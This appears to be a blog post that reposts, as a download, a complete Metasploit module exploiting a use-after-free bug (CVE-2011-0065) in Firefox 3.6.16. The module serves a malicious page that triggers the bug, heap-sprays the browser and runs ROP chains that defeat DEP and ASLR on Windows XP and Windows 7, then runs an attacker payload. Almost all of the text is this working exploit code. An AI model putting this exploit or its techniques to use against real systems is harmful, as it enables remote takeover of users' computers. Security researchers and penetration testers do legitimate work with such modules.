read, write, eXecute…

Mozilla Firefox 3.6.16 mChannel use after free vulnerability download
##
# $Id: mozilla_mchannel.rb 14034 2011-10-23 11:56:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::Remote::BrowserAutopwn
        autopwn_info({
                :ua_name => HttpClients::FF,
                :ua_minver => "3.6.16",
                :ua_maxver => "3.6.16",
                :os_name => OperatingSystems::WINDOWS,
                :javascript => true,
                :rank => NormalRanking,
        })

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
                        'Description'    => %q{
                                        This module exploits an use after free vulnerability in Mozilla
                                Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
                                OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
                                becomes a dangling pointer and can be reused when setting the OBJECTs
                                data attribute. (Discovered by regenrecht). This module uses heapspray
                                with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionally,
                                a windows 7 target was provided using JAVA 6 and below to avoid aslr.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'regenrecht',  # discovery
                                        'Rh0',         # metasploit module
                                        'mr_me'        # win7 target
                                ],
                        'Version'        => "$Revision: 14034 $",
                        'References'     =>
                                [
                                        ['CVE',    '2011-0065'],
                                        ['OSVDB',  '72085'],
                                        ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
                                        ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                        'InitialAutoRunScript' => 'migrate -f',
                                },
                        'Payload'        =>
                                {
                                        'Space' => 1024,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [

                                        [ 'Automatic', { } ],

                                        # DEP bypass
                                        [
                                                'Firefox 3.6.16 on Windows XP SP3',
                                                {
                                                        'Arch' => ARCH_X86,
                                                        'Fakevtable' => 0x0c00,
                                                        'Fakefunc' => 0x0c00001c,
                                                }
                                        ],

                                        # requires JAVA <= JAVA 6 update 26
                                        # cop stack pivot = ASLR/DEP bypass
                                        [
                                                'Firefox 3.6.16 on Windows 7 + Java',
                                                {
                                                        'Arch' => ARCH_X86,
                                                        'Fakevtable' => 0x1000,
                                                        'Fakefunc' => 0x100002a4,
                                                        'Ppppr' => 0x7c3410c0,
                                                        'Retn' => 0x7c3410c4,
                                                }
                                        ]
                                ],
                        'DefaultTarget'  => 0,
                        'DisclosureDate' => 'May 10 2011'
                        ))
        end

        def junk
                return rand_text_alpha(4).unpack("L")[0].to_i
        end

        def on_request_uri(cli, request)

                # Random JavaScript variable names
                js_element_name      = rand_text_alpha(rand(10) + 5)
                js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
                js_sc_name           = rand_text_alpha(rand(10) + 5)
                js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
                js_chunk_name        = rand_text_alpha(rand(10) + 5)
                js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
                js_block_name        = rand_text_alpha(rand(10) + 5)
                js_array_name        = rand_text_alpha(rand(10) + 5)
                js_retns             = rand_text_alpha(rand(10) + 5)
                js_applet_name       = rand_text_alpha(rand(10) + 5)
                js_ppppr             = rand_text_alpha(rand(10) + 5)
                js_filler            = rand_text_alpha(rand(10) + 5)

                # Set target manually or automatically
                my_target = target
                if my_target.name == 'Automatic'
                agent = request.headers['User-Agent']
                        if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
                                my_target = targets[1]
                        elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
                                my_target = targets[2]
                        end
                end

                # check for non vulnerable targets
                if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
                        print_error("Target not supported: #{agent}") if datastore['VERBOSE']
                        send_not_found(cli)
                        return
                end

                # Re-generate the payload
                return if ((p = regenerate_payload(cli).encoded) == nil)

                if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/

                        html_trigger = ""
                        if ("/" == get_resource[-1,1])
                                html_trigger = get_resource[0, get_resource.length - 1]
                        else
                                html_trigger = get_resource
                        end

                        custom_js = <<-JS
                        function forward() {
                                window.location = window.location + "#{html_trigger}.html";
                        }

                        function start() {
                                setTimeout("forward()", 3500);
                        }
                        start();
                        JS

                else
                        if my_target.name =~ /Windows XP/

                                # DEP bypass using xul.dll
                                rop_gadgets = [
                                        0x1052c871,  # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
                                        junk,        # junk --------------------------------------------------------------^^
                                        0x7c801ad4,  # VirtualProtect
                                        junk,        # junk -------------------------------------------------------------------------^^
                                        junk,        # junk -------------------------------------------------------------------------^^
                                        0x1003876B,  # jmp esp
                                        0x0c000040,  # start address
                                        0x00000400,  # size 1024
                                        0x00000040,  # Page EXECUTE_READ_WRITE
                                        0x0c0c0c00,  # old protection
                                ].pack("V*")

                                rop = rop_gadgets

                        elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/

                                # 5 gadgets to pivot using call oriented programming (cop)
                                # these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
                                # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
                                # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
                                # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
                                # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
                                # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN

                                rop_pivot = [
                                        0x6D32280C,  # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
                                        junk,        # filler
                                        0x6D7E627D,  # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
                                        0x7C3413A4,  # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
                                ].pack("V*")

                                # 319

                                # rop nops - RETN
                                rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)

                                # POP r32 / RETN
                                rop_pivot << [0x7c3410c3].pack("V*")

                                # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
                                rop_pivot << [0x6D7E5CDA].pack("V*")

                                # rop nops - RETN
                                rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)

                                # POP r32 / RETN
                                rop_pivot << [0x7c3410c3].pack("V*")

                                # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
                                rop_pivot << [0x6D325BFC].pack("V*")

                                # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
                                rop_gadgets = [
                                        0x7c346c0a,  # POP EAX / RETN
                                        0x7c37a140,  # Make EAX readable
                                        0x7c37591f,  # PUSH ESP / ... / POP ECX / POP EBP / RETN
                                        junk,        # EBP (filler)
                                        0x7c346c0a,  # POP EAX / RETN
                                        0x7c37a140,  # *&VirtualProtect()
                                        0x7c3530ea,  # MOV EAX,[EAX] / RETN
                                        0x7c346c0b,  # Slide, so next gadget would write to correct stack location
                                        0x7c376069,  # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
                                        junk,        # EDI (filler)
                                        junk,        # will be patched at runtime (VP), then picked up into ESI
                                        junk,        # EBX (filler)
                                        0x7c376402,  # POP EBP / RETN
                                        0x7c345c30,  # ptr to 'push esp /  ret'
                                        0x7c346c0a,  # POP EAX / RETN
                                        0xfffffdff,  # size 0x00000201 -> ebx
                                        0x7c351e05,  # NEG EAX / RETN
                                        0x7c354901,  # POP EBX / RETN
                                        0xffffffff,  # pop value into ebx
                                        0x7c345255,  # INC EBX / FPATAN / RETN
                                        0x7c352174,  # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
                                        0x7c34d201,  # POP ECX / RETN
                                        0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
                                        0x7c34b8d7,  # POP EDI / RETN
                                        0x7c34b8d8,  # ROP NOP (-> edi)
                                        0x7c344f87,  # POP EDX / RETN
                                        0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
                                        0x7c351eb1,  # NEG EDX / RETN
                                        0x7c346c0a,  # POP EAX / RETN
                                        0x90909090,  # NOPS (-> eax)
                                        0x7c378c81,  # PUSHAD / ADD AL,0EF / RETN
                                        0x90909090,  # NOPS (-> eax)
                                ].pack("V*")

                                rop = rop_pivot + rop_gadgets

                        end

                        payload_buf  = ''
                        payload_buf << rop
                        payload_buf << p
                        escaped_payload = Rex::Text.to_unescape(payload_buf)

                        # setup the fake memory references
                        fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
                        fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

                        if my_target.name =~ /Windows XP/

                                # fast loading JS so we dont get the 'unresponsive script' warning from ff
                                custom_js = <<-JS
                                #{js_element_name} = document.getElementById("d");
                                #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

                                #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
                                var #{js_sc_name} = unescape("#{escaped_payload}");

                                var #{js_ret_addr_name} = unescape("#{fakefunc}");
                                while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
                                var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
                                #{js_chunk_name} += #{js_sc_name};
                                #{js_chunk_name} += #{js_ret_addr_name};
                                var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
                                while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
                                var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
                                #{js_array_name} = new Array()
                                for (n=0;n<0x80;n++){
                                        #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
                                }
                                JS
                        elsif my_target.name =~ /Windows 7/

                                # setup precision heap spray
                                ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
                                retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))

                                # fast loading JS so we dont get the 'unresponsive script' warning from ff
                                # precision heap spray
                                custom_js = <<-JS
                                #{js_element_name} = document.getElementById("d");
                                #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

                                #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
                                var #{js_sc_name} = unescape("#{escaped_payload}");

                                var #{js_ret_addr_name} = unescape("#{fakefunc}");
                                var #{js_retns} = unescape("#{retns}");

                                #{js_ret_addr_name} += #{js_retns};
                                #{js_ret_addr_name} += #{js_retns};
                                #{js_ret_addr_name} += #{js_retns};
                                #{js_ret_addr_name} += #{js_retns};

                                var #{js_ppppr} = unescape("#{ppppr}");
                                #{js_ret_addr_name} += #{js_ppppr};

                                var #{js_filler} = unescape("%u4344%u4142");
                                while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}

                                while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}

                                var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);

                                #{js_chunk_name} += #{js_sc_name};
                                #{js_chunk_name} += #{js_filler};
                                #{js_chunk_name} += #{js_ret_addr_name};

                                var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
                                while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
                                var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
                                #{js_array_name} = new Array()
                                for (n=0;n<0x80;n++){
                                        #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
                                }
                                JS
                        end
                end

                html = <<-HTML
                <html>
                <body>
                        <object id="d"><object>
                        <applet code="#{js_applet_name}.class" width=0 height=0></applet>
                        <script type="text/javascript">
                        #{custom_js}
                        </script>
                </body>
                </html>
                HTML

                #Remove the extra tabs
                html = html.gsub(/^\t\t/, '')
                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
                send_response_html(cli, html, { 'Content-Type' => 'text/html' })

                # Handle the payload
                handler(cli)


        end

end
example usage
-